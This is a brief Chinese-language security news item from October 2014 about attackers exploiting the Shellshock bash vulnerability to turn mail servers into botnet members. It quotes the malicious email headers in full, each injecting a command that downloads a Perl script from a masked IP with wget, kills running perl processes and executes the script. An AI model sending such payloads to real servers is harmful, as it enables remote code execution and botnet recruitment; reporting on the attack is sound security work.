攻击者正利用上个月披露的Shellshock漏洞入侵邮件服务器建立僵尸网络。
安全研究人员报告，攻击者向邮件服务器发送特定的消息头字段，诱骗服务器执行一个 Perl脚本，成为僵尸网络的一部分。邮件消息头的构成是：
Shellshock spam October 2014 （IP地址已隐藏） === To:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend References:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend Cc:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend From:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend Subject:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend Date:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend Message-ID:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend Comments:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend Keywords:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend Resent-Date:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend Resent-From:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend Resent-Sender:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend原文发布时间：2014-10-29
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